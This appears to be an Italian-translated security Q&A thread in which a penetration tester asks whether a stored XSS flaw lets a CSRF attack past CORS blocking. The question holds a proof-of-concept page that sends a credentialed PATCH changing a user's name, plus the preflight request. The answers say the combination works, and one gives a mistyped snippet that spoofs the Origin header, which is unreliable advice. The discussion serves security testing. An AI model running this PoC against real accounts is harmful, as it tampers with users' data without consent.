sfruttando CSRF in richiesta Ajax tramite difetto XSS

0

In un'applicazione che sto testando, c'è un difetto XSS memorizzato. Ora, stavo testando CSRF e ho costruito una pagina HTML con un javascript che inviava la richiesta Ajax (XHR). Ha causato una richiesta di pre-volo e quindi il browser dice che la richiesta di origine incrociata è bloccata mentre manca Access-Control-Allow-Origin. La mia domanda è: se utilizzo il difetto XSS memorizzato, la richiesta verrà inviata dallo stesso dominio e l'attacco CSRF avrà esito positivo?

Grazie in anticipo.

<html>
  <!-- CSRF PoC-->
  <body>
<p>csrf test</p>
<script>
var http = new XMLHttpRequest();
var params = "{\"username\":\"pentester12\"}";
http.open("PATCH", "https://www.domain.com/data/user/ef891d503e1a4c8994fcf81d0fdb6168?details=false", true);


http.setRequestHeader("Accept","application/json, text/javascript, */*; q=0.01");
http.setRequestHeader("User-Agent","Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4");
http.setRequestHeader("Referer","https://www.domain.com/data/user/ef891d503e1a4c8994fcf81d0fdb6168?details=false");
http.setRequestHeader("Connection","close");
http.setRequestHeader("Accept-Language","en-US,en;q=0.5");
http.setRequestHeader("Accept-Encoding","gzip, deflate");
http.setRequestHeader("Content-Type","text/plain; charset=UTF-8");
http.setRequestHeader("Origin","www.domain.com");
http.withCredentials= "true";
http.onreadystatechange = function() {
    if(http.readyState == 4 && http.status == 200) {
        console.info(http.status);
        console.info(http.responseText);
    }
}
http.send(params);
</script>
  </body>
</html>

Richiesta pre-volo:

OPTIONS /data/user/ef891d503e1a4c8994fcf81d0fdb6168?details=false HTTP/1.1
Host: www.domain.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: PATCH
Access-Control-Request-Headers: user-agent
Origin: null
Connection: close

Ho falsificato l'intestazione Origin sul dominio di destinazione utilizzando Burp. Ma ho avuto lo stesso errore CORS.

    
posta entropy 02.06.2016 - 16:08
fonte

2 risposte

1

Sì, funzionerà. L'intestazione CORS eviterà richieste esterne da azioni (ad esempio un link malevolo ricevuto via e-mail e cliccato dall'utente).

Se unisci un difetto XSS memorizzato ed esegui una richiesta sul caricamento della pagina per eseguire qualche azione, funzionerà sicuramente. La richiesta proviene dal dominio dell'applicazione, quindi l'applicazione / browser non avrà modo di distinguere questa richiesta da una richiesta falsificata.

La guida OWASP fornisce ulteriori informazioni, dai uno sguardo.

EDIT: vedo ora la tua modifica. Vediamo se capisco cosa stai cercando di fare.

Scenario: hai un input non igienizzato, che ti consente di esplorare il difetto XSS. Metti un po 'di javascript sporco per eseguire un'azione, come avvisi o registri, e funziona ogni volta che la pagina viene caricata. Bene.

Al passo successivo, hai elaborato un XHR sullo stesso dominio dell'applicazione, dal dominio dell'applicazione. Stai ancora ottenendo un errore CORS?

    
risposta data 02.06.2016 - 16:45
fonte
0

Access-Control-Allow-Origin è un'intestazione CORS pensata per verificare se la richiesta proviene dallo stesso dominio o meno. La richiesta viene effettivamente inviata dallo stesso dominio, ma potrebbe non averlo detto nell'intestazione della richiesta HTTP. Non ho molte informazioni sul tuo preciso problema, ma per me dovresti specificare l'intestazione Origin :

var xhr= new XMLHttpRequest();
xhr.setRequetHeader("Origin", TargetDomain);

In generale, se vuoi testare un'applicazione per CSRF, un modo sano per iniziare è controllare le intestazioni HTTP di richiesta e risposta di una legittima navigazione e provare a spoofarle.

    
risposta data 02.06.2016 - 16:25
fonte

Leggi altre domande sui tag